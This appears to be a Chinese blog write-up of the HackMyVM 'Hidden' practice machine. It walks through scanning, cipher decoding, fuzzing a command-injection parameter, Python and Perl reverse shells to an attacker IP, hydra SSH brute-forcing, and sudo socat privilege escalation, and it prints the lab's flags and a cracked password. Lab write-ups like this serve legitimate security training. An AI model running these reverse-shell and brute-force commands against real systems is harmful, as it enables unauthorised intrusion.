【靶机渗透】一个有趣的靶机 Hidden
本篇将分享一个来源于HackMyVM社区,一个有趣的靶机Hidden
0x01靶机介绍
名称: | HackMyVM : Hidden |
---|---|
链接 | https://hackmyvm.eu/machines/machine.php?vm=Hidden |
发布日期 | 2021年5月30日 |
作者 | noname |
难度 | 较简单 |
0x02环境搭建
1. 下载靶机
官网链接直接下载
觉得官网下载慢的朋友,可以后台回复 HD 获取资源
2. 创建靶机
下载好后将压缩包解压后的ova文件拖入VMware虚拟机即可,也可以使用VirtualBox 创建
等待导入完成
创建完成
将网络适配器设置为NET模式
3. 开启靶机
点击 ▶开启此虚拟机
0x03靶机渗透
攻击机使用Kali-Linux 2021.2 (IP:192.168.64.133)
1. 主机发现
1 | arp-scan -l |
发现目标主机 192.168.64.137
2. 端口扫描
1 | masscan 192.168.64.140 --rate=10000 --ports 0-65535 |
仅识别2个开放的tcp端口22,80
3. 服务扫描
1 | nmap -T4 -sV -p22,80 -O 192.168.64.137 |
-sV
服务版本, -T4
速度(最高为5,推荐用4) -O
系统 -p
指定端口
22是ssh
,80是Apache http
服务
4. web信息收集
Level 1
像是一个编码,查看F12源代码
有一个提示
1 | <!-- format xxx.xxxxxx.xxx --> |
形式像是一个域名,12位,对应图片也是12个方格
尝试解密
这个编码之前在在CTF中见过,英文叫Rosicrucian Cipher也被叫做Pigpen Cipher,翻译过来叫猪圈密码
用dcode在线工具解密
结果是SYSHIDDENHMV
,根据xxx.xxxxxx.xxx
,得到sys.hidden.hmv
将sys.hidden.hmv添加到hosts
ps:windows这里推荐工具HostsFileEditor
Level 2
来到Level 2
使用gobuster进行目录扫描
1 | gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://sys.hidden.hmv -t 20 |
参数-dir
目录暴力破解模式 -e
显示完整URL -w
指定字典 -x
要搜索的文件扩展名
users和members没有可利用地方,转到weapon上
1 | gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://sys.hidden.hmv/weapon -t 30 |
找到一个可以的url http://sys.hidden.hmv/weapon/loot.php
尝试对LFI (本地文件包含漏洞)进行模糊测试,但失败了。
1 | wfuzz -c -w /usr/share/wordlists/dirb/common.txt -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u http://sys.hidden.hmv/weapon/loot.php?FUZZ=FUZ2Z --hw 0 |
试对代码执行进行模糊测试,成功
1 | wfuzz -c -w /usr/share/wordlists/dirb/big.txt -u http://sys.hidden.hmv/weapon/loot.php?FUZZ=whoami --hw 0 |
成功拿到RCE
1 | http://sys.hidden.hmv/weapon/loot.php?hack=whoami;id;pwd |
0x04漏洞利用
1. 反弹shell
这里推荐一个在线生成反弹shell的网站
使用python反弹shell
1 | http://sys.hidden.hmv/weapon/loot.php?hack=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.64.136",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")' |
攻击机nc监听
反弹成功,获得www-data用户权限
通过以下命令获取一个标准shell
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
2. perl 提权
运行sudo -l
命令显示当前可以运行所有命令
因此,使用perl作为用户toreto获得反向 shell 。
1 | sudo -u toreto perl -e 'use Socket;$i="192.168.64.136";$p=4567;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
sudo -u toreto
代表要以 toreto 的身份执行指令,所以反弹的是 toreto 用户
反弹成功
获得 toreto 用户权限
在目录/home/atenea/
中有一个隐藏目录.hidden
并且它似乎在文件atenea.txt
中有 atenea
的密码列表
3. SSH爆破
使用medusa对用户atenea 用户的SSH进行暴力破解
1 | hydra -l atenea -P atenea.txt ssh://192.168.64.137 |
得到atenea密码sys8423hmv
4.拿flag
使用atenea用户ssh登录
在/home/atenea找到user.txt
得到user flag hmv{c4HqWSzRVKNDpTL}
5.权限提升
1 | sudo -l |
用户 ‘ atenea ‘ 可以作为root 用户运行socat
使用GTFOBins找到socat
1 | GTFOBins 是 Unix 二进制文件的精选列表,可用于绕过错误配置系统中的本地安全限制。 |
1 | socat stdin exec:/bin/sh |
成功提权到root用户
6. 拿flag2
在/root目录得到root.txt
拿到root flag hmv{2Mxtnwrht0ogHB6}
0x05总结
这个靶机主要考察猪圈密码、目录枚举、模糊测试、反弹shell、per提权、SSH爆破和socat提权等内容,是一个不错的靶机,适合初级练习。在练习的过程中注意对以及靶机网卡配置,以及hosts文件的配置。
如果你想快速获取HackMyVM : Hidden靶机的资源,后台回复HD即可。